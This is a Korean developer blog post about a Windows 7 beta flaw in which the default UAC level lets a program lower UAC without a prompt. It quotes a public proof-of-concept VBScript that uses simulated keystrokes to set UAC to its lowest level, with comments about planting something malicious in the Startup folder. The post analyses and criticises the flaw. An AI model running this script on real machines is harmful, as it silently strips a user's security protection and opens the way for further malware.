Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 23006
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 76  77  78  79  80  81  82  83  84  [85]  86  87  88  89  90  ...
NoWriterDateCnt.TitleFile(s)
11811정성태2/11/201920923오류 유형: 510. 서버 운영체제에 NVIDIA GeForce Experience 실행 시 wlanapi.dll 누락 문제
11810정성태2/11/201918528.NET Framework: 808. .NET Profiler - GAC 모듈에서 GAC 비-등록 모듈을 참조하는 경우의 문제
11809정성태2/11/201920749.NET Framework: 807. ClrMD를 이용해 메모리 덤프 파일로부터 특정 인스턴스를 참조하고 있는 소유자 확인
11808정성태2/8/201922065디버깅 기술: 123. windbg - 닷넷 응용 프로그램의 메모리 누수 분석
11807정성태1/29/201919965Windows: 156. 가상 디스크의 용량을 복구 파티션으로 인해 늘리지 못하는 경우 [4]
11806정성태1/29/201919602디버깅 기술: 122. windbg - 덤프 파일로부터 PID와 환경 변수 등의 정보를 구하는 방법
11805정성태1/28/201921766.NET Framework: 806. C# - int []와 object []의 차이로 이해하는 제네릭의 필요성 [4]파일 다운로드1
11804정성태1/24/201919625Windows: 155. diskpart - remove letter 이후 재부팅 시 다시 드라이브 문자가 할당되는 경우
11803정성태1/10/201918487디버깅 기술: 121. windbg - 닷넷 Finalizer 스레드가 멈춰있는 현상
11802정성태1/7/201920203.NET Framework: 805. 두 개의 윈도우를 각각 실행하는 방법(Windows Forms, WPF)파일 다운로드1
11801정성태1/1/201921473개발 환경 구성: 427. Netsh의 네트워크 모니터링 기능 [3]
11800정성태12/28/201820596오류 유형: 509. WCF 호출 오류 메시지 - System.ServiceModel.CommunicationException: Internal Server Error
11799정성태12/19/201822336.NET Framework: 804. WPF(또는 WinForm)에서 UWP UI 구성 요소 사용하는 방법 [3]파일 다운로드1
11798정성태12/19/201821168개발 환경 구성: 426. vcpkg - "Building vcpkg.exe failed. Please ensure you have installed Visual Studio with the Desktop C++ workload and the Windows SDK for Desktop C++"
11797정성태12/19/201817144개발 환경 구성: 425. vcpkg - CMake Error: Problem with archive_write_header(): Can't create '' 빌드 오류
11796정성태12/19/201817457개발 환경 구성: 424. vcpkg - "File does not have expected hash" 오류를 무시하는 방법
11795정성태12/19/201820709Windows: 154. PowerShell - Zone 별로 DNS 레코드 유형 정보 조회 [1]
11794정성태12/16/201816839오류 유형: 508. Get-AzureWebsite : Request to a downlevel service failed.
11793정성태12/16/201819356개발 환경 구성: 423. NuGet 패키지 제작 - Native와 Managed DLL을 분리하는 방법 [1]
11792정성태12/11/201819163Graphics: 34. .NET으로 구현하는 OpenGL (11) - Per-Pixel Lighting파일 다운로드1
11791정성태12/11/201819158VS.NET IDE: 130. C/C++ 프로젝트의 시작 프로그램으로 .NET Core EXE를 지정하는 경우 닷넷 디버깅이 안 되는 문제 [1]
11790정성태12/11/201817631오류 유형: 507. Could not save daemon configuration to C:\ProgramData\Docker\config\daemon.json: Access to the path 'C:\ProgramData\Docker\config' is denied.
11789정성태12/10/201831264Windows: 153. C# - USB 장치의 연결 및 해제 알림을 위한 WM_DEVICECHANGE 메시지 처리 [2]파일 다운로드2
11788정성태12/4/201817535오류 유형: 506. SqlClient - Value was either too large or too small for an Int32.Couldn't store <2151292191> in ... Column
11787정성태11/29/201821700Graphics: 33. .NET으로 구현하는 OpenGL (9), (10) - OBJ File Format, Loading 3D Models파일 다운로드1
11786정성태11/29/201818667오류 유형: 505. OpenGL.NET 예제 실행 시 "Managed Debugging Assistant 'CallbackOnCollectedDelegate'" 예외 발생
... 76  77  78  79  80  81  82  83  84  [85]  86  87  88  89  90  ...